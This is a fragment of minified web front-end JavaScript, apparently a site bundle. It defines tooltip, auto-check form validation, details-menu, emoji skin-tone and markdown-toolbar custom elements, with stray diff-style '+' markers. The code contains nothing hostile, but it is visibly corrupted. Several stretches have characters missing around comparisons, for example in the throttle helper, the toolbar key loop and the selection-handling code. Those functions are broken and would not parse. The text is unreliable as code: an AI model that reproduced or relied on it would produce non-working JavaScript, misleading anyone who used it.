:host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const 